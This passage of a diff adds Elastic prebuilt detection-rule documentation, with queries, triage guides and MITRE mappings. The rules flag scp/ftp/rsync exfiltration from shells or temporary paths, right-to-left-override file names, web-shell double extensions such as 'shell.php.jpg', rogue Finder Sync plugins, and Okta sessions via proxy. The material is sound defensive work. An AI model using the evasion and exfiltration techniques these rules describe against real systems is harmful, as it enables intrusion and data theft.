Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and + process.name in ("scp", "ftp", "sftp", "vsftpd", "sftp-server", "rsync") and ( + (process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + ( + process.parent.name like ".*" or + process.parent.name like "*.elf" or + process.parent.name like "*.sh" or + process.parent.name like "*.py" or + process.parent.name like "*.rb" or + process.parent.name like "*.pl" or + process.parent.name like "*.lua*" or + process.parent.name like "*.php*" or + process.parent.name like "*.js" + ) or + ( + process.parent.executable like "/tmp/*" or + process.parent.executable like "/var/tmp/*" or + process.parent.executable like "/dev/shm/*" or + process.parent.executable like "./*" or + process.parent.executable like "/run/*" or + process.parent.executable like "/var/run/*" or + process.parent.executable like "/boot/*" or + process.parent.executable like "/sys/*" or + process.parent.executable like "/lost+found/*" or + process.parent.executable like "/proc/*" or + process.parent.executable like "/var/mail/*" or + process.parent.executable like "/var/www/*" or + process.parent.executable like "/home/*" or + process.parent.executable like "/root/*" + ) + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.name, + process.parent.name, + process.parent.executable, + process.executable, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.executable, process.parent.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 5 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, process.parent.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-with-right-to-left-override-character-rtlo-created-executed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-with-right-to-left-override-character-rtlo-created-executed.asciidoc new file mode 100644 index 0000000000..8f17301027 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-with-right-to-left-override-character-rtlo-created-executed.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-file-with-right-to-left-override-character-rtlo-created-executed]] +=== File with Right-to-Left Override Character (RTLO) Created/Executed + +Identifies the creation or execution of files or processes with names containing the Right-to-Left Override (RTLO) character, which can be used to disguise the file extension and trick users into executing malicious files. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File with Right-to-Left Override Character (RTLO) Created/Executed* + + +The RTLO character reverses text direction, often used to disguise file extensions, making malicious files appear benign. Adversaries exploit this to trick users into executing harmful files. The detection rule identifies suspicious file or process activities on Windows systems by scanning for RTLO characters in file paths or process names, helping to uncover potential masquerading attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path or process name containing the RTLO character by examining the file.path or process.name fields. +- Check the event.type field to determine whether the alert was triggered by a file creation or process start event, which can help prioritize the investigation focus. +- Investigate the origin of the file or process by examining the file's creation time, user account involved, and any associated network activity to identify potential sources or delivery methods. +- Analyze the file or process for malicious behavior by using endpoint detection tools or sandbox environments to execute and monitor its actions. +- Cross-reference the file or process with threat intelligence databases to check for known malicious indicators or similar attack patterns. +- Review system logs and other security alerts around the same timeframe to identify any additional suspicious activities or related incidents. + + +*False positive analysis* + + +- Legitimate software installations or updates may use RTLO characters in file names to manage versioning or localization, which can trigger false positives. Users can create exceptions for known software vendors or specific installation directories to reduce these alerts. +- Some file management or backup applications might use RTLO characters in temporary file names for internal processing. Identifying these applications and excluding their specific file paths from monitoring can help minimize false positives. +- Custom scripts or tools developed in-house might inadvertently use RTLO characters for legitimate purposes. Reviewing these scripts and excluding their execution paths or file names from the detection rule can prevent unnecessary alerts. +- Certain international or multilingual applications may use RTLO characters as part of their normal operation. Users should identify these applications and configure exceptions based on their file paths or process names to avoid false positives. +- In environments where file names are dynamically generated and may include RTLO characters, consider implementing a whitelist of trusted file paths or process names to reduce the likelihood of false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified with the RTLO character in their names to halt any ongoing malicious activity. +- Quarantine the files containing the RTLO character to prevent execution and further analysis. +- Conduct a thorough scan of the isolated system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and analyze system logs and security alerts to determine the extent of the compromise and identify any lateral movement or additional affected systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional containment measures are necessary. +- Implement enhanced monitoring and detection rules to identify future attempts to use RTLO characters for masquerading, ensuring that similar threats are detected promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.category in ("file", "process") and + ( + (event.type == "creation" and file.path : "*\u{202E}*") or + (event.type == "start" and process.name : "*\u{202E}*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Right-to-Left Override +** ID: T1036.002 +** Reference URL: https://attack.mitre.org/techniques/T1036/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-with-suspicious-double-extension-created-by-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-with-suspicious-double-extension-created-by-web-server.asciidoc new file mode 100644 index 0000000000..8895ea237c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-with-suspicious-double-extension-created-by-web-server.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-file-with-suspicious-double-extension-created-by-web-server]] +=== File with Suspicious Double Extension Created by Web Server + +This rule detects when a web server process creates a file with a double extension, where the real extension is a non-web extension. This is a common technique used by attackers to bypass security measures and to hide the true nature of the file. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Persistence +* Tactic: Initial Access +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File with Suspicious Double Extension Created by Web Server* + + +This rule identifies Linux web server processes creating files whose names combine a web-executable suffix with a misleading image, archive, script, or binary extension, a pattern often used to conceal malicious content and bypass upload controls. For example, an attacker exploiting an upload endpoint may write `shell.php.jpg` into a served directory, then rely on a permissive or manipulated server configuration to execute it as a web shell for persistent remote access. + + +*Possible investigation steps* + + +- Record the file’s full path, ownership, permissions, timestamps, cryptographic hash, MIME type, and magic bytes, then safely inspect its contents for obfuscated code, command execution, credential theft, or web-shell functionality. +- Review virtual-host, handler, rewrite, and directory configuration to determine whether the file is web-accessible or interpreted as executable content despite its final extension. +- Correlate the creation time with HTTP access, application, proxy, and authentication logs to identify the originating request, source address, user session, upload endpoint, and related reconnaissance or exploitation attempts. +- Examine the creating process lineage and subsequent activity for spawned shells, interpreters, system utilities, outbound connections, privilege escalation, persistence changes, or additional file writes. +- Hunt across endpoints and web logs for the file hash, naming pattern, source address, request indicators, and similar artifacts, and isolate the server while preserving evidence if malicious activity is confirmed. + + +*False positive analysis* + + +- A legitimate upload or content-management workflow may preserve a user-supplied filename such as `template.php.jpg`; verify the associated HTTP request, authenticated user, expected upload path, file MIME type, and application behavior. +- A deployment, backup, or testing process run through a web application may generate files such as `page.jsp.zip` or `handler.cgi.sh`; verify the change record, process lineage, file contents, ownership, and whether the destination is expected and non-executable. + + +*Response and remediation* + + +- Isolate the affected web server from untrusted networks, restrict administrative access, preserve the suspicious file and relevant logs, and block identified source addresses, hashes, domains, and URLs. +- Remove the double-extension file and any related web shells, unauthorized accounts, SSH keys, cron jobs, systemd units, startup scripts, modified web-server handlers, and attacker-created files after preserving forensic copies. +- Rotate exposed application, database, service-account, API, and administrative credentials, revoke active sessions and tokens, and replace potentially compromised TLS or SSH keys. +- Escalate immediately to incident response if the web server spawned shells, made suspicious outbound connections, accessed credentials, gained elevated privileges, or produced evidence of lateral movement or additional compromised hosts. +- Rebuild the server from a known-good image or restore verified clean application content and configuration, patch the exploited web application or server component, and validate integrity before returning it to service. +- Prevent recurrence by enforcing upload allowlists and content validation, storing uploads outside executable web roots, disabling script execution in upload directories, applying least-privilege permissions, and monitoring for similar filenames and web-process child activity. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action != "deletion" and +( + process.name in ( + "nginx", "apache2", "httpd", "caddy", "lighttpd", "httpd.worker", "httpd-worker", "httpd-prefork", + "php-cgi", "php-fcgi", "php-cgi.cagefs", "frankenphp", "lshttpd", "litespeed", "openlitespeed", + "fcgiwrap", "uwsgi", "daphne", "uvicorn", "hypercorn", "granian", "waitress-serve", "flask", "puma", + "unicorn", "unicorn_rails", "thin", "rackup", "mongrel_rails", "starman", "plackup", "twiggy", + "hypnotoad", "starlet", "unitd", "unitd-debug", "java", "node", "nodejs", "varnishd" + ) or + process.name like ( + "php-fpm*", "lsphp*", "gunicorn*", "*.cgi", "*.fcgi", "mono*", "xsp*", "mod-mono-server*", + "fastcgi-mono-server*", "python*", "ruby*", "perl*", "lua*" + ) +) and +file.name like~ ( + "*.php.*", "*.php3.*", "*.php4.*", "*.php5.*", "*.php7.*", "*.php8.*", "*.phtml.*", "*.pht.*", + "*.asp.*", "*.aspx.*", "*.ashx.*", "*.asmx.*", "*.jsp.*", "*.jspx.*", "*.cfm.*", "*.cfc.*", + "*.cshtml.*", "*.razor.*", "*.cgi.*", "*.fcgi.*", "*.php;*", "*.asp;*", "*.aspx;*", "*.jsp;*" +) and +file.extension in~ ( + "jpg", "jpeg", "png", "gif", "webp", "bmp", "ico", "tif", "tiff", "svg", "zip", + "sh", "elf" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-finder-sync-plugin-registered-and-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-finder-sync-plugin-registered-and-enabled.asciidoc new file mode 100644 index 0000000000..b034ae207f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-finder-sync-plugin-registered-and-enabled.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-finder-sync-plugin-registered-and-enabled]] +=== Finder Sync Plugin Registered and Enabled + +Finder Sync plugins enable users to extend Finder’s functionality by modifying the user interface. Adversaries may abuse this feature by adding a rogue Finder Plugin to repeatedly execute malicious payloads for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/specterops/presentations/raw/master/Leo%20Pitt/Hey_Im_Still_in_Here_Modern_macOS_Persistence_SO-CON2020.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Massimo Bertocchi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Finder Sync Plugin Registered and Enabled* + + +Finder Sync plugins enhance macOS Finder by allowing third-party applications to integrate and modify its interface. While beneficial for legitimate software, adversaries can exploit this feature to maintain persistence by registering malicious plugins. The detection rule identifies suspicious plugin registrations by monitoring the `pluginkit` process, filtering out known safe applications, and flagging unusual activity, thus helping analysts spot potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the `pluginkit` process with the specific arguments `-e`, `use`, and `-i`, which indicate the registration of a Finder Sync plugin. +- Cross-reference the plugin identifier found in the process arguments against the list of known safe applications to determine if it is potentially malicious. +- Investigate the parent process of the `pluginkit` execution to identify any unusual or unauthorized parent processes that might suggest malicious activity. +- Check the system for any recent installations or updates of applications that might have introduced the suspicious Finder Sync plugin. +- Analyze the behavior and origin of the executable associated with the suspicious plugin to assess its legitimacy and potential threat level. +- Review system logs and other security alerts around the time of the plugin registration to identify any correlated suspicious activities or anomalies. + + +*False positive analysis* + + +- Known safe applications like Google Drive, Boxcryptor, Adobe, Microsoft OneDrive, Insync, and Box are already excluded from triggering false positives. Ensure these applications are up-to-date to maintain their exclusion status. +- If a legitimate application not listed in the exclusions is causing false positives, consider adding its specific Finder Sync plugin identifier to the exclusion list after verifying its safety. +- Monitor the parent process paths of legitimate applications. If a trusted application frequently triggers alerts, add its executable path to the exclusion list to prevent unnecessary alerts. +- Regularly review and update the exclusion list to accommodate new versions or additional legitimate applications that may introduce Finder Sync plugins. +- Educate users on the importance of installing applications from trusted sources to minimize the risk of false positives and ensure that only legitimate plugins are registered. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or data exfiltration by the malicious Finder Sync plugin. +- Terminate the suspicious `pluginkit` process to stop the execution of the rogue Finder Sync plugin and prevent further persistence. +- Remove the malicious Finder Sync plugin by unregistering it using the `pluginkit` command with appropriate flags to ensure it cannot be re-enabled. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious payloads or artifacts. +- Review system logs and the Finder Sync plugin registration history to identify any unauthorized changes or additional compromised systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if the threat is part of a larger attack campaign. +- Implement enhanced monitoring for `pluginkit` activity and similar persistence mechanisms to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "pluginkit" and + process.args == "-e" and process.args like~ "use" and process.args == "-i" and + (process.parent.name like~ ("python*", "node", "osascript", "bash", "sh", "zsh") or (process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc new file mode 100644 index 0000000000..a06a4ea130 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-first-occurrence-of-okta-user-session-started-via-proxy]] +=== First Occurrence of Okta User Session Started via Proxy + +Identifies the first occurrence of an Okta user session started via a proxy. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-okta.system-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://developer.okta.com/docs/reference/api/system-log/#issuer-object +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Identity +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Okta + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Occurrence of Okta User Session Started via Proxy* + + +This rule detects the first occurrence of an Okta user session started via a proxy. This rule is designed to help identify suspicious authentication behavior that may be indicative of an attacker attempting to gain access to an Okta account while remaining anonymous. This rule leverages the New Terms rule type feature where the `okta.actor.id` value is checked against the previous 7 days of data to determine if the value has been seen before for this activity. + + +*Possible investigation steps:* + +- Identify the user involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- Examine the `okta.debug_context.debug_data.flattened` field for more information about the proxy used. +- Review the `okta.request.ip_chain` field for more information about the geographic location of the proxy. +- Review the past activities of the actor involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- A user may have legitimately started a session via a proxy for security or privacy reasons. + + +*Response and remediation:* + +- Review the profile of the user involved in this action to determine if proxy usage may be expected. +- If the user is legitimate and the authentication behavior is not suspicious, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting the user's password and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the user. +- If the user is not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and + okta.event_type: ( + user.session.start or + user.authentication.verify or + user.authentication.sso or + user.authentication.auth_via_mfa + ) and + okta.security_context.is_proxy:true and + not okta.actor.id: okta* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-seen-network-flow-exporter-followed-by-suspicious-source-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-seen-network-flow-exporter-followed-by-suspicious-source-activity.asciidoc new file mode 100644 index 0000000000..29de5267aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-seen-network-flow-exporter-followed-by-suspicious-source-activity.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-first-seen-network-flow-exporter-followed-by-suspicious-source-activity]] +=== First Seen Network Flow Exporter Followed by Suspicious Source Activity + +Identifies a newly observed NetFlow, IPFIX, or sFlow exporter IP followed by another detection alert with medium-or-higher severity or an elevated risk score, where that exporter IP is the source of the detected activity in the same data stream namespace. This correlation adds behavioral evidence that can help distinguish routine exporter onboarding from a potentially unauthorized or compromised exporter introduced as part of defense evasion. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/solutions/security/detect-and-alert/about-building-block-rules +* https://www.elastic.co/docs/reference/integrations/netflow +* https://www.elastic.co/docs/reference/integrations/goflow2 +* https://datatracker.ietf.org/doc/html/rfc7011 +* https://sflow.org/sflow_version_5.txt + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Rule Type: Higher-Order Rule +* Data Source: Elastic Security +* Data Source: NetFlow +* Data Source: GoFlow2 +* Resources: Investigation Guide +* Rule Type: ES|QL + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Seen Network Flow Exporter Followed by Suspicious Source Activity* + + +This higher-order rule correlates the building-block alert "First Seen Network Flow Exporter" with a later detection +alert that has medium-or-higher severity or an elevated risk score within 30 minutes. The new exporter's `observer.ip` +must equal the later alert's `source.ip`, and both alerts must share the same `data_stream.namespace`. + +This relationship provides stronger evidence than suspicious flows merely reported by the exporter. It indicates that +the exporter address itself was subsequently identified as the source of separately detected activity. It does not by +itself prove telemetry injection, exporter compromise, or the addition of a rogue collector. A rogue collector receives +flow exports and generally requires network-device configuration or audit telemetry to detect directly. + + +*Possible investigation steps* + + +- Review the `observer.ip`, `source.ip`, correlation timestamps, and suspicious rule names and IDs surfaced in the + alert. Pivot to the contributing alerts to review their risk score, destination, host, and user context. +- Confirm that `observer.ip` belongs to the newly observed exporter and that NAT, shared addressing, or stale asset + records did not cause the correlation. +- Examine the second alert's rule name and determine what behavior associated the exporter address with `source.ip`. +- Verify the exporter's owner, device type, software version, management plane, recent configuration changes, and + approved collector destinations. +- Review authentication, process, network-device audit, and configuration telemetry for the exporter around the + correlation window. +- Compare observation domains, exporter version, uptime, sequence values, templates, sampling configuration, and flow + volume with established exporters. +- Search for additional alerts involving the exporter address and for malformed, implausible, or conflicting flow + records received from it. + + +*False positive analysis* + + +- Validate recent device onboarding, migrations, disaster-recovery activation, penetration tests, vulnerability scans, + and monitoring validation. +- Determine whether `source.ip` represents the exporter itself or a shared NAT, proxy, scanner, or management address. +- Confirm that the correlated source alert is a meaningful behavioral detection rather than an expected administrative + or discovery event. + + +*Response and remediation* + + +- If the exporter is unauthorized or compromised, restrict it at the 